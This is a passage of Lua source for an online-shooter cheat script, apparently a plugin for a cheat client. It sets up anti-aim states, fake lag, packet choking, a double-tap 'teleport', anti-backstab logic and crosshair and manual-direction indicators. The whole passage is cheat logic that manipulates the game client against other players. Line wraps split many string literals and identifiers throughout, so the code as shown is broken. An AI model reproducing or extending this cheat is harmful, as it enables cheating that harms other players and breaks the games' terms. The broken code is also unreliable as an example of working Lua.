ui_set(menu_reference.bodyyaw[2],1)
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw) == "Sideways" then
ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2], 0)
ui_set(menu_reference.yawjitter[1],"Center")
ui_set(menu_reference.yawjitter[2], -50)
ui_set(menu_reference.bodyyaw[1],"Jitter")
ui_set(menu_reference.bodyyaw[2],1)
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw) == "L&R" then
ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2],functions["anti-aim"].defensive_jitter
== true and ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].defensive_yaw_custom) or ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].defensive_yaw_custom1))
ui_set(menu_reference.yawjitter[1],"Off")
ui_set(menu_reference.bodyyaw[1],"Static")
ui_set(menu_reference.bodyyaw[2],ui_get(menu_reference.yaw[2]))
end
end
end

functions["visuals"].forced_defensive=(cmd.force_defensive and cmd.weaponselect


== 0)
end

local yaw_difference = function(max,min,current)

local current_x = nil


if current > max then
current_x = max - current
elseif current < min then
current_x = min - current
end

if current_x == nil then


return current
else
return current_x > 0 and 180 - current_x or -180 - current_x
end
end

local opti_jitter = false


local random_flick = client.random_int(12, 64)
local current_slow_tick = 0
local old_state = "Standing"
local five_way_jitter_idx = 1
local five_way_current_tick = 0
local randomized_50 = 1
functions["anti-aim"].anti_aim_setup = function(cmd)

-- start by getting los states


local ducking = cmd.in_duck == 1 or ui_get(menu_reference.fakeduck)
local on_ground = bit.band(entity_get_prop(entity_get_local_player(),
"m_fFlags"), 1) == 1 and cmd.in_jump == 0
local velocity =
vector(entity_get_prop(entity_get_local_player(),"m_vecVelocity"))
local slow_walk = ui_get(menu_reference.slow[1]) and
ui_get(menu_reference.slow[2])
local fake_lag = (not ui_get(menu_reference.dt[1]) or not
ui_get(menu_reference.dt[2])) and (not ui_get(menu_reference.os[1]) or not
ui_get(menu_reference.os[2]))
local lp_origin = vector(entity_get_origin(entity_get_local_player()))
local current_threat_origin = vector(entity_get_origin(client.current_threat()
or entity_get_local_player()))
old_state = functions["anti-aim"].anti_aim_state

-- now we execute
-- need to add legit aa
if functions["anti-aim"].legit_aa(cmd) then
functions["anti-aim"].anti_aim_state = "Legit"
elseif ui_get(menu["anti-aim"].builder["Manual"].enable) and functions["anti-
aim"].mode ~= "reset" then
functions["anti-aim"].anti_aim_state = "Manual"
elseif ui_get(menu["anti-aim"].builder["Height advantage"].enable) and
lp_origin.z > current_threat_origin.z + 64 then
functions["anti-aim"].anti_aim_state = "Height advantage"
elseif fake_lag and ui_get(menu["anti-aim"].builder["Fakelag"].enable) then
functions["anti-aim"].anti_aim_state = "Fakelag"
elseif not on_ground and cmd.in_duck == 1 and ui_get(menu["anti-
aim"].builder["Duck jumping"].enable) then
functions["anti-aim"].anti_aim_state = "Duck jumping"
elseif not on_ground and ui_get(menu["anti-aim"].builder["Jumping"].enable)
then
functions["anti-aim"].anti_aim_state = "Jumping"
elseif ducking and velocity:length2d() < 3 and ui_get(menu["anti-
aim"].builder["Ducking"].enable) and on_ground then
functions["anti-aim"].anti_aim_state = "Ducking"
elseif ducking and velocity:length2d() >= 3 and ui_get(menu["anti-
aim"].builder["Duck moving"].enable) and on_ground then
functions["anti-aim"].anti_aim_state = "Duck moving"
elseif slow_walk and ui_get(menu["anti-aim"].builder["Slow walking"].enable)
then
functions["anti-aim"].anti_aim_state = "Slow walking"
elseif velocity:length2d() >= 3 and ui_get(menu["anti-
aim"].builder["Moving"].enable) and not slow_walk then
functions["anti-aim"].anti_aim_state = "Moving"
elseif velocity:length2d() < 3 and ui_get(menu["anti-
aim"].builder["Standing"].enable) and not slow_walk then
functions["anti-aim"].anti_aim_state = "Standing"
else
functions["anti-aim"].anti_aim_state = "Global"
end

-- chokes for anti aim


local desync = math.floor(math.min(60,
(entity_get_prop(entity_get_local_player(), "m_flPoseParameter", 11) * 120 - 60)))
local side = desync >= 0 and true or false

if cmd.chokedcommands == 0 then

if functions["anti-aim"].anti_aim_state ~= "Manual" then

randomized_50 = client.random_int(1, 2)

if globals_tickcount() >= current_slow_tick + ui_get(menu["anti-


aim"].builder[functions["anti-aim"].anti_aim_state].delay_custom) then
current_slow_tick = globals_tickcount()
functions["anti-aim"].side = not functions["anti-aim"].side
elseif globals_tickcount() + ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].delay_custom) <
current_slow_tick then
current_slow_tick = globals_tickcount()
end

opti_jitter = not opti_jitter

if globals_tickcount() >= five_way_current_tick +


ui_get(menu["anti-aim"].builder[functions["anti-aim"].anti_aim_state].delay_custom)
then
five_way_current_tick = globals_tickcount()
five_way_jitter_idx = five_way_jitter_idx + 1
elseif globals_tickcount() + ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].delay_custom) <
five_way_current_tick then
five_way_current_tick = globals_tickcount()
end

if five_way_jitter_idx > 5 then


five_way_jitter_idx = 1
end
functions["anti-aim"].body = side
end

functions["anti-aim"].jitter = client.random_int(1, 3)

end

ui_set(menu_reference.enabled,ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].enable))
ui_set(menu_reference.pitch[1],ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].pitch))
ui_set(menu_reference.pitch[2],ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].pitch_custom))
ui_set(menu_reference.yawbase,ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_base))

if functions["anti-aim"].anti_aim_state ~= "Manual" then

ui_set(menu_reference.yaw[1],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].yaw))
ui_set(menu_reference.yaw[2],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].yaw_custom))

if ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_jitter) == "Slow jitter" then
local super_math = ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_custom)

local triple_math = super_math + (functions["anti-aim"].side == true


and ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_jitter2) or ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].yaw_jitter_custom))

ui_set(menu_reference.yawjitter[1],"Off")
ui_set(menu_reference.yaw[2], yaw_difference(180,-180,triple_math))
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_jitter) == "L&R" then

local super_math = ui_get(menu["anti-aim"].builder[functions["anti-


aim"].anti_aim_state].yaw_custom)

local triple_math = super_math + (functions["anti-aim"].body ==


false and ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_jitter2) or ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].yaw_jitter_custom))

ui_set(menu_reference.yawjitter[1],"Off")
ui_set(menu_reference.yaw[2], yaw_difference(180,-180,triple_math))
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_jitter) == "Slow 5-way" then
ui_set(menu_reference.yawjitter[1],"Off")
ui_set(menu_reference.yaw[2],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].yaw_jitter_custom) *
functions["anti-aim"].five_way[five_way_jitter_idx])
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_jitter) == "50/50" then

local super_math = ui_get(menu["anti-aim"].builder[functions["anti-


aim"].anti_aim_state].yaw_custom)

local value_50 = randomized_50 == 1 and true or false


local triple_math = super_math + ( value_50 == true and
ui_get(menu["anti-aim"].builder[functions["anti-aim"].anti_aim_state].yaw_jitter2)
or ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].yaw_jitter_custom))

ui_set(menu_reference.yawjitter[1],"Off")
ui_set(menu_reference.yaw[2], yaw_difference(180,-180,triple_math))
else

ui_set(menu_reference.yawjitter[1],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].yaw_jitter))
ui_set(menu_reference.yawjitter[2],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].yaw_jitter_custom))
end

end

if functions["anti-aim"].anti_aim_state ~= "Manual" and ui_get(menu["anti-


aim"].builder[functions["anti-aim"].anti_aim_state].yaw) ~= "Off" and
ui_get(menu["anti-aim"].builder[functions["anti-aim"].anti_aim_state].random_flick)
and globals_tickcount() % random_flick == 1 then
ui_set(menu_reference.yaw[1],"180")
ui_set(menu_reference.yaw[2],client.random_int(-180, 180))
random_flick=client.random_int(12, 64)
end

if ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].body_yaw) == "Optimized slow" then
ui_set(menu_reference.bodyyaw[1],"Static")
ui_set(menu_reference.bodyyaw[2],functions["anti-aim"].side == true and 115
or -115)
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].body_yaw) == "Optimized jitter" then
ui_set(menu_reference.bodyyaw[1],"Jitter")
ui_set(menu_reference.bodyyaw[2],ui_get(menu_reference.yaw[2]))
elseif ui_get(menu["anti-aim"].builder[functions["anti-
aim"].anti_aim_state].body_yaw) == "YawV2" then
ui_set(menu_reference.bodyyaw[1],"Static")
ui_set(menu_reference.bodyyaw[2],ui_get(menu_reference.yaw[2]))
else
ui_set(menu_reference.bodyyaw[1],ui_get(menu["anti-
aim"].builder[functions["anti-aim"].anti_aim_state].body_yaw))
end

ui_set(menu_reference.edgeyaw,false)
ui_set(menu_reference.roll,0)
ui_set(menu_reference.freestand_body[1],false)

ui_set(menu_reference.freestand[1],ui_get(menu["misc"].freestanding) and not


table_contains(ui_get(menu["anti-aim"].freestanding_disablers),functions["anti-
aim"].anti_aim_state))
ui_set(menu_reference.freestand[2],(ui_get(menu["misc"].freestanding) and not
table_contains(ui_get(menu["anti-aim"].freestanding_disablers),functions["anti-
aim"].anti_aim_state)) == true and "Always on" or "On hotkey")

functions["anti-aim"].manual_anti_aim_setup()
functions["anti-aim"].defensive_setup(cmd)
functions["anti-aim"].safe_anti_aim(cmd)
functions["anti-aim"].anti_backstab()
end

local closest_player = 0
functions["anti-aim"].venus_anti_aim = function(cmd)

local ca = vector(client.camera_angles())
local lp_origin = vector(entity_get_origin(entity_get_local_player()))
local on_ground = bit.band(entity_get_prop(entity_get_local_player(),
"m_fFlags"), 1) == 1 and cmd.in_jump == 0

local on_origin = vector(entity_get_origin(client.current_threat() ~= nil and


client.current_threat() or entity_get_local_player()))
local at_target = vector(lp_origin:to(on_origin):angles())

local ducking = cmd.in_duck == 1 or ui_get(menu_reference.fakeduck)


local on_ground = bit.band(entity_get_prop(entity_get_local_player(),
"m_fFlags"), 1) == 1 and cmd.in_jump == 0
local velocity =
vector(entity_get_prop(entity_get_local_player(),"m_vecVelocity"))
local slow_walk = ui_get(menu_reference.slow[1]) and
ui_get(menu_reference.slow[2])
local fake_lag = not ui_get(menu_reference.dt[2]) and not
ui_get(menu_reference.os[2])
local lp_origin = vector(entity_get_origin(entity_get_local_player()))
local current_threat_origin = vector(entity_get_origin(client.current_threat()
or entity_get_local_player()))

old_state = functions["anti-aim"].anti_aim_state

-- now we execute
-- need to add legit aa
if ui_get(Venus_aa["Manual"].enable) and functions["anti-aim"].mode ~= "reset"
then
functions["anti-aim"].anti_aim_state = "Manual"
elseif ui_get(menu["anti-aim"].builder["Height advantage"].enable) and
lp_origin.z > current_threat_origin.z + 64 then
functions["anti-aim"].anti_aim_state = "Height advantage"
elseif fake_lag and ui_get(Venus_aa["Fakelag"].enable) then
functions["anti-aim"].anti_aim_state = "Fakelag"
elseif not on_ground and cmd.in_duck == 1 and ui_get(Venus_aa["Duck
jumping"].enable) then
functions["anti-aim"].anti_aim_state = "Duck jumping"
elseif not on_ground and ui_get(Venus_aa["Jumping"].enable) then
functions["anti-aim"].anti_aim_state = "Jumping"
elseif ducking and velocity:length2d() < 3 and
ui_get(Venus_aa["Ducking"].enable) and on_ground then
functions["anti-aim"].anti_aim_state = "Ducking"
elseif ducking and velocity:length2d() >= 3 and ui_get(Venus_aa["Duck
moving"].enable) and on_ground then
functions["anti-aim"].anti_aim_state = "Duck moving"
elseif slow_walk and ui_get(Venus_aa["Slow walking"].enable) then
functions["anti-aim"].anti_aim_state = "Slow walking"
elseif velocity:length2d() >= 3 and ui_get(Venus_aa["Moving"].enable) and not
slow_walk then
functions["anti-aim"].anti_aim_state = "Moving"
elseif velocity:length2d() < 3 and ui_get(Venus_aa["Standing"].enable) and not
slow_walk then
functions["anti-aim"].anti_aim_state = "Standing"
else
functions["anti-aim"].anti_aim_state = "Global"
end

ui_set(menu_reference.enabled, true)
ui_set(menu_reference.pitch[1], ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].pitch))
ui_set(menu_reference.yaw[1],ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].yaw))
ui_set(menu_reference.yaw[2],ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].yaw_custom))
ui_set(menu_reference.yawbase,"At targets")
ui_set(menu_reference.yawjitter[1],"Off")
ui_set(menu_reference.yawjitter[2],0)
ui_set(menu_reference.bodyyaw[1],"Static")
ui_set(menu_reference.bodyyaw[2],1)

ui_set(menu_reference.freestand[1],ui_get(menu["misc"].freestanding) and not


table_contains(ui_get(menu["anti-aim"].freestanding_disablers),functions["anti-
aim"].anti_aim_state))
ui_set(menu_reference.freestand[2],(ui_get(menu["misc"].freestanding) and not
table_contains(ui_get(menu["anti-aim"].freestanding_disablers),functions["anti-
aim"].anti_aim_state)) == true and "Always on" or "On hotkey")

if cmd.in_use == 1 or cmd.in_attack == 1 or
(entity_get_classname(entity.get_player_weapon(entity_get_local_player())) ==
"CKnife" and cmd.in_attack2 == 1) or (ui.get(menu_reference.freestand[1]) and
ui.get(menu_reference.freestand[2])) then

if cmd.in_use == 1 then
return
end

return
end

if entity_get_prop(entity_get_local_player(), "m_MoveType") == 9 and


(cmd.in_moveleft == 1 or cmd.in_moveright == 1 or cmd.in_forward == 1 or
cmd.in_back == 1) then
return
end
functions["anti-aim"].manual_anti_aim_setup()

ui_set(menu_reference.enabled,ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].enable))

local my_weapon = entity.get_player_weapon(entity_get_local_player())


local pin_pulled = entity_get_prop(my_weapon, "m_bPinPulled")
local throw_time = entity_get_prop(my_weapon, "m_fThrowTime")
local weapon_id = bit.band(0xffff, entity_get_prop(my_weapon,
"m_iItemDefinitionIndex"))

local is_grenade =
({
[43] = true,
[44] = true,
[45] = true,
[46] = true,
[47] = true,
[48] = true,
[68] = true
})[weapon_id] or false

if is_grenade then
if throw_time > 0 then
cmd.allow_send_packet = false
return
end
end

-- jitter
if cmd.chokedcommands == 0 then
jitter_byaw = not jitter_byaw
end

-- local view :thumbs_up:

-- pitch
if ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].pitch) == "Down" then

cmd.pitch = 89
elseif ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].pitch) ==
"Minimal" then
cmd.pitch = 85
elseif ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].pitch) == "Up"
then
cmd.pitch = -85
elseif ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].pitch) ==
"Random" then
cmd.pitch = client.random_int(-89, 89)
end

-- yaw
if ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].yaw) == "180" then
cmd.yaw = 180 + ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].yaw_custom) + (client.current_threat() ~= nil and at_target.y
or ca.y)
elseif ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].yaw) == "Static"
then
cmd.yaw = ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].yaw_custom)
+ (client.current_threat() ~= nil and at_target.y or ca.y)
elseif ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].yaw) == "Spin"
then
spen = spen + ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].yaw_custom)
cmd.yaw = (client.current_threat() ~= nil and at_target.y or ca.y) + spen
end

-- yaw jitter
if ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].yaw_jitter) ~= "Off"
then
cmd.yaw = cmd.yaw + (jitter_byaw and ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].yaw_jitter_custom) or -ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].yaw_jitter_custom))
end

if functions["anti-aim"].mode == "right" then


cmd.yaw = -89 + ca.y
elseif functions["anti-aim"].mode == "left" then
cmd.yaw = 89 + ca.y
end

-- body yaw
if ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].body_yaw) ~= "Off"
then

-- micro movement
if cmd.in_moveright == 0 and cmd.in_moveleft == 0 and on_ground then
if globals_tickcount() % 2 == 0 then
cmd.sidemove =
entity_get_prop(entity_get_local_player(),"m_flDuckAmount") > 0 and 2.98 or 1.01
else
cmd.sidemove =
entity_get_prop(entity_get_local_player(),"m_flDuckAmount") > 0 and -2.98 or -1.01
end
end

if cmd.chokedcommands == 0 then

if ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].body_yaw) ==
"Static" then
cmd.yaw = cmd.yaw + ui_get(Venus_aa[functions["anti-
aim"].anti_aim_state].body_yaw_custom)
elseif ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].body_yaw)
== "Jitter" then
cmd.yaw = cmd.yaw + (jitter_byaw and
ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].body_yaw_custom) or -
ui_get(Venus_aa[functions["anti-aim"].anti_aim_state].body_yaw_custom))
end
cmd.allow_send_packet = false
else
cmd.yaw = cmd.yaw
cmd.allow_send_packet = true
end
end

-- anti backstab
if ui_get(menu["anti-aim"].anti_backstab) then
distance = 99999
for k,v in ipairs(entity.get_players(true)) do

local local_origin =
vector(entity_get_origin(entity_get_local_player()))
local players_origin =
extrapolate_pos(v,vector(entity_get_origin(v)),10)
local closest_origin = vector(entity_get_origin(closest_player))

--hi ori I don't even know what the fuck is going on :|


if local_origin:dist2d(players_origin) <= distance then
closest_player = v
distance = local_origin:dist2d(players_origin)
elseif local_origin:dist2d(players_origin) <=
local_origin:dist2d(closest_origin) then
closest_player = v
distance = local_origin:dist2d(players_origin)
end

if entity_get_classname(entity.get_player_weapon(closest_player)) ==
"CKnife" and local_origin:dist2d(vector(entity_get_origin(closest_player))) < 250
then
cmd.yaw = 0 + at_target.y
end
end
end

end

functions["anti-aim"].teleport_techology = function()

if ui_get(menu["anti-aim"].dt_teleport) then
ui.set(menu_reference.dt[1],globals.tickcount() % 20 > 1)
else
ui.set(menu_reference.dt[1],true)
end
end

local animations = {dt=0,os=0,main=0,safepoint=0,baim=0,quickpeek=0}


local scoped_animations =
{lua_name=0,dt=0,os=0,main=0,safepoint=0,baim=0,quickpeek=0}

functions["visuals"].crosshair_indicator = function(w,h)

if ui_get(menu["visuals"].indicator) ~= "Default" or not


entity.is_alive(entity_get_local_player()) then
return
end
local spacing_h = 0

local scope_check = entity_get_prop(entity_get_local_player(), "m_bIsScoped")


== 1 and ui_get(menu["visuals"].indicator_scoped_animation)

scoped_animations.lua_name = lerp(scoped_animations.lua_name,scope_check and


renderer_measure_text("c-", string.format("Ven\a%02X%02X%02XFFus\
afffffffe",ui_get(menu["visuals"].indicator_color)))/2+6 or
0,globals.frametime()*15)
scoped_animations.dt = lerp(scoped_animations.dt,scope_check and
renderer_measure_text("c-", "DT")/2+4 or 0,globals.frametime()*15)
scoped_animations.os = lerp(scoped_animations.os,scope_check and
renderer_measure_text("c-", "OS")/2+4 or 0,globals.frametime()*15)
scoped_animations.main = lerp(scoped_animations.main,scope_check and
renderer_measure_text("c-", "BAIM")/2+16 or 0,globals.frametime()*15)

local dt_check = ui_get(menu_reference.dt[1]) and ui_get(menu_reference.dt[2])


local os_check = ui_get(menu_reference.os[1]) and ui_get(menu_reference.os[2])
and (ui_get(menu_reference. dt[1]) and not ui_get(menu_reference.dt[2]) or not
ui_get(menu_reference.dt[1]))

spacing_h = spacing_h + 10

if ui_get(menu_reference.dt[1]) and ui_get(menu_reference.dt[2]) then


animations.dt = lerp(animations.dt,dt_check and spacing_h or
0,globals.frametime() * 15)

renderer_text(w/2-2+math.ceil(scoped_animations.dt),h/2+27+math.ceil(animations.dt)
,255,255,255,anti_aim_funcs.get_double_tap() and 255 or 130,"c-",0,"DT")
spacing_h = spacing_h + 10
else
animations.dt = 1
end

if ui_get(menu_reference.os[1]) and ui_get(menu_reference.os[2]) and


(ui_get(menu_reference.dt[1]) and not ui_get(menu_reference.dt[2]) or not
ui_get(menu_reference.dt[2]))then
animations.os = lerp(animations.os,os_check and spacing_h or
0,globals.frametime() * 15)

renderer_text(w/2-2+math.ceil(scoped_animations.os),h/2+27+math.ceil(animations.os)
,255,255,255,255,"c-",0,"OS")
spacing_h = spacing_h + 10
else
animations.os=1
end

local b1,b2 = renderer_measure_text("c-", "BAIM")

animations.main = lerp(animations.main,spacing_h,globals.frametime() * 15)

renderer_text(w/2-2+math.ceil(scoped_animations.main),h/2+27+math.ceil(animations.m
ain),255,255,255,ui_get(menu_reference.forcebaim) and 255 or 130,"c-",0,"BAIM")

renderer_text(w/2-2-b1+2+math.ceil(scoped_animations.main),h/2+27+math.ceil(animati
ons.main),255,255,255,ui_get(menu_reference.safepoint) and 255 or 130,"c-",0,"SP")
renderer_text(w/2-2+b1-2+math.ceil(scoped_animations.main),h/2+27+math.ceil(animati
ons.main),255,255,255,ui_get(menu_reference.quickpeek[2]) and 255 or
130,"c-",0,"QP")

renderer_text(w/2+math.ceil(scoped_animations.lua_name)-2,h/2+27,255,255,255,255,"c
-",0,string.format("Ven\a%02X%02X%02XFFus\
afffffffe",ui_get(menu["visuals"].indicator_color)):upper())
end

functions["visuals"].simple_crosshair_indicators = function(w,h)

if ui_get(menu["visuals"].indicator) ~= "Simple" or not


entity.is_alive(entity_get_local_player()) then
return
end

local spacing_h = 0

local scope_check = entity_get_prop(entity_get_local_player(), "m_bIsScoped")


== 1 and ui_get(menu["visuals"].indicator_scoped_animation)

scoped_animations.dt = lerp(scoped_animations.dt,scope_check and


renderer_measure_text("c", "dt")/2+2 or 0,globals.frametime()*15)
scoped_animations.os = lerp(scoped_animations.os,scope_check and
renderer_measure_text("c", "os")/2+2 or 0,globals.frametime()*15)
scoped_animations.quickpeek = lerp(scoped_animations.quickpeek,scope_check and
renderer_measure_text("c", "qp")/2+2 or 0,globals.frametime()*15)
scoped_animations.baim = lerp(scoped_animations.baim,scope_check and
renderer_measure_text("c", "fb")/2+2 or 0,globals.frametime()*15)
scoped_animations.safepoint = lerp(scoped_animations.safepoint,scope_check and
renderer_measure_text("c", "sp")/2+2 or 0,globals.frametime()*15)

local dt_check = ui_get(menu_reference.dt[1]) and ui_get(menu_reference.dt[2])


local os_check = ui_get(menu_reference.os[1]) and ui_get(menu_reference.os[2])
and (ui_get(menu_reference.dt[1]) and not ui_get(menu_reference.dt[2])) or (not
ui_get(menu_reference.dt[1]))
local qp_check = ui_get(menu_reference.quickpeek[2]) and
ui_get(menu_reference.quickpeek[1])

if ui_get(menu_reference.dt[1]) and ui_get(menu_reference.dt[2]) then


spacing_h = spacing_h + 12
animations.dt = lerp(animations.dt,dt_check and spacing_h or
0,globals.frametime() * 15)

renderer_text(w/2+math.ceil(scoped_animations.dt),h/2+15+math.ceil(animations.dt),2
55,255,255,anti_aim_funcs.get_double_tap() and 255 or 130,"c",0,"dt")
else
animations.dt=0
end

animations.os = lerp(animations.os,os_check and spacing_h or


0,globals.frametime() * 15)
if ui_get(menu_reference.os[1]) and ui_get(menu_reference.os[2]) and
(ui_get(menu_reference.dt[1]) and not ui_get(menu_reference.dt[2])) or (not
ui_get(menu_reference.dt[1])) then
renderer_text(w/2+math.ceil(scoped_animations.os),h/2+27+math.ceil(animations.os),2
55,255,255,255,"c",0,"os")
spacing_h = spacing_h + 12
else
animations.os=0
end

animations.baim = lerp(animations.baim,ui_get(menu_reference.forcebaim) and


spacing_h or 0,globals.frametime() * 15)
if ui_get(menu_reference.forcebaim) then

renderer_text(w/2+math.ceil(scoped_animations.baim),h/2+27+math.ceil(animations.bai
m),255,255,255,255,"c",0,"fb")
spacing_h = spacing_h + 12
else
animations.baim=-12
end

animations.safepoint =
lerp(animations.safepoint,ui_get(menu_reference.safepoint) and spacing_h or
0,globals.frametime() * 15)
if ui_get(menu_reference.safepoint) then
renderer_text(w/2+math.ceil(scoped_animations.safepoint),h/2+27+
math.ceil(animations.safepoint),255,255,255,255,"c",0,"sp")
spacing_h = spacing_h + 12
else
animations.safepoint=-12
end

animations.quickpeek = lerp(animations.quickpeek,qp_check and spacing_h or


0,globals.frametime() * 15)
if ui_get(menu_reference.quickpeek[2]) and ui_get(menu_reference.quickpeek[1])
then

renderer_text(w/2+math.ceil(scoped_animations.quickpeek),h/2+27+math.ceil(animation
s.quickpeek),255,255,255,255,"c",0,"qp")
spacing_h = spacing_h + 12
else
animations.quickpeek=-12
end
end

local mi_type = {
["Default"] = { right="⯈",
left="⯇",
},

["Simple"] = {right=">",
left="< "
},
}

functions["visuals"].manual_anti_aim_indicators = function(w,h)

if not ui_get(menu["visuals"].manual_anti_aim_indicators) or not


entity.is_alive(entity_get_local_player()) then
return
end
local mcolor = { ui_get(menu["visuals"].manual_anti_aim_indicators_color) }

local left_color = {r=255,g=255,b=255,a=255}


local right_color = {r=255,g=255,b=255,a=255}

if functions["anti-aim"].mode == "right" then


right_color = {r=mcolor[1],g=mcolor[2],b=mcolor[3],a=mcolor[4]}
elseif functions["anti-aim"].mode == "left" then
left_color = {r=mcolor[1],g=mcolor[2],b=mcolor[3],a=mcolor[4]}
end

if ui_get(menu["visuals"].mi_type) ~= "Modern" then


-- right arrow

renderer_text(w/2+50,h/2,right_color.r,right_color.g,right_color.b,right_color.a,"c
+-",nil,mi_type[ui_get(menu["visuals"].mi_type)].right)

-- left arrow

renderer_text(w/2-50,h/2,left_color.r,left_color.g,left_color.b,left_color.a,"c+-",
nil,mi_type[ui_get(menu["visuals"].mi_type)].left)
else

renderer.triangle(w/2+50, h / 2 - 5, w/2+60, h / 2 , w/2+50, h / 2 + 5,


right_color.r,right_color.g,right_color.b,100)
renderer.line(w/2+50, h / 2 + 5, w/2 + 60, h / 2 ,
right_color.r,right_color.g,right_color.b,right_color.a)
renderer.line(w/2+50, h / 2 - 5, w/2 + 60, h / 2 ,
right_color.r,right_color.g,right_color.b,right_color.a)
renderer.line(w/2+50, h / 2 + 5, w/2 + 50, h / 2 - 5,
right_color.r,right_color.g,right_color.b,right_color.a)

renderer.triangle(w/2-50, h / 2 - 5, w/2-60, h / 2 , w/2-50, h / 2 + 5,


left_color.r,left_color.g,left_color.b,100)
renderer.line(w/2-50, h / 2 + 5, w/2 - 60, h / 2 ,
left_color.r,left_color.g,left_color.b,left_color.a)
renderer.line(w/2-50, h / 2 - 5, w/2 - 60, h / 2 ,
left_color.r,left_color.g,left_color.b,left_color.a)
renderer.line(w/2-50, h / 2 + 5, w/2 - 50, h / 2 - 5,
left_color.r,left_color.g,left_color.b,left_color.a)
end
end

local shield_svg = '<svg width="800" height="800" viewBox="0 0 24 24" fill="#fff"


xmlns="http://www.w3.org/2000/svg"><path d="M5 7c0-.276.225-.499.498-.535 2.149-.28
5.282-2.186 6.224-2.785a.516.516 0 0 1 .556 0c.942.599 4.075 2.504 6.224
2.785.273.036.498.259.498.535v4.75c0 6.5-7 8.75-7 8.75s-7-2.25-7-8.75V7Z"
fill="white"/></svg>'
local load_shield = renderer.load_svg(shield_svg, 200, 200)

local should_shoot = false


functions["visuals"].defensive_open = function(w,h)

if ui.is_menu_open() and ui_get(menu["visuals"].defensive_indicator) then

local cx,cy = ui.mouse_position()


if dbs.is_dragging and not client.key_state(0x01) then
dbs.is_dragging = false
end

if dbs.is_dragging and client.key_state(0x01) and dbs.last_item ==


"Defensive" then
dbs.defensive_x = cx - dbs.drag_defensive_x
dbs.defensive_y = cy - dbs.drag_defensive_y
end

if intersect(dbs.defensive_x - ui_get(menu["extras"].length) /
2,dbs.defensive_y - 10,ui_get(menu["extras"].length),20) and client.key_state(0x01)
then
dbs.last_item = "Defensive"
dbs.is_dragging = true
dbs.drag_defensive_x = cx - dbs.defensive_x
dbs.drag_defensive_y = cy - dbs.defensive_y
dbs.defensive_menu = false
should_shoot = false
end

if intersect(dbs.defensive_x - ui_get(menu["extras"].length) /
2,dbs.defensive_y - 10,ui_get(menu["extras"].length),20) and client.key_state(0x02)
then
dbs.defensive_menu = true
should_shoot = false
dbs.slow_menu = false
end

if ui_get(menu["extras"].icon) then

local add = ui_get(menu["extras"].text) and 16 or 0


renderer_texture(load_shield,dbs.defensive_x - 50/2-2,dbs.defensive_y-
54/2 - 25 - add, 54 , 54, 12,12,12,255,"f")
renderer_texture(load_shield,dbs.defensive_x - 50/2,dbs.defensive_y-
50/2 - 25 - add, 50 , 50, 255,255,255,255,"f")
end

if ui_get(menu["extras"].text) then
renderer_text(dbs.defensive_x,dbs.defensive_y -
12,255,255,255,255,"c",0,"- DEFENSIVE -")
end

renderer_rectangle(dbs.defensive_x - ui_get(menu["extras"].length) / 2 -
1,dbs.defensive_y - 4,ui_get(menu["extras"].length) + 2,
ui_get(menu["extras"].width) + 4,0,0,0,150)
--renderer_gradient(dbs.defensive_x - ui_get(menu["extras"].length) / 2 +
1,dbs.defensive_y - 2, ui_get(menu["extras"].length),8,
255,255,255,255,12,12,12,255,true)

local defensivecolor =
{ ui_get(menu["visuals"].defensive_indicator_color) }
if ui_get(menu["extras"].gradient) then
